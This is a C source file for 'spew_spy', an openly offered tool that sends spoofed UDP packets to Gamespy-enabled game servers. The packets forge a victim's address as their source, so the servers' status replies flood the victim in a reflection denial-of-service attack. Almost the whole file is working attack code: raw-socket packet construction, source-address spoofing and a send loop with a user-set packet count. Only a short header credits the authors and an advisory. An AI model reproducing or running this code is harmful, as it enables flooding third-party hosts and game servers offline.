/*
spew_spy.c
Version 0.1
By Wraithnix (wraithnix@riotmod.com)  
Based on arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk 

Sends spoofed UDP packets to a Gamespy-enabled game server,
thusly causing the server to spew packets at a target of the user's
choice.

Exploit discovered by PivX 
Check http://www.pivx.com/kristovich/adv/mk001 for more info

User needs root privledges to run.
Compiled and tested on Lyconis Linux.
*/

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

main(int argc,char **argv)
{
int fd;
int x=1;
int packetssent;
int maxpackets;
struct sockaddr_in *p;
struct hostent *he;
u_char gram[63]=
  {
  0x45,  0x00,  0x00,  0x26,
  0x12,  0x34,  0x00,  0x00,
  0xFF,  0x11,  0,  0,
  0,  0,  0,  0,
  0,  0,  0,  0,

  0,  0,  0,  0,
  0x00,  0x12,  0x00,  0x00,

  '\\','\\','p','l','a','y','e','r','s','\\','\\',
  's','t','a','t','u','s','\\','\\',
  'p','a','c','k','e','t','s','\\','\\',
  'r','u','l','e','s','\\','\\'
  };

if(argc!=6)
  {
  printf("spew_spy.c\nWritten by Wraithnix(wraithnix@riotmod.com)\n");
  fprintf(stderr,"usage: %s <IP/hostname> <port> <target IP/hostname> <target port> <# of packets>\n",*argv);
  exit(1);
  };

printf("spew_spy.c\nWritten by Wraithnix(wraithnix@riotmod.com)\n");

if((he=gethostbyname(argv[1]))==NULL)
  {
  printf("Error resolving hostname.\n");
  exit(1);
  };
bcopy(*(he->h_addr_list),(gram+12),4);

if((he=gethostbyname(argv[3]))==NULL)
  {
  printf("Error resolving target hostname.\n");
  exit(1);
  };
bcopy(*(he->h_addr_list),(gram+16),4);

*(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));

maxpackets=atoi(argv[5]);

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));

if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
  {
  printf("You need to have root privledges to run this program.\n");
  exit(1);
  };

printf("Sending spoofed packets: ");
for (packetssent = 0; packetssent < maxpackets; packetssent++) {
  if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
    {
    printf("Error sending spoofed UDP packets..\n");
    exit(1);
    };
  printf("#");
}
printf("\nDone!\n");
}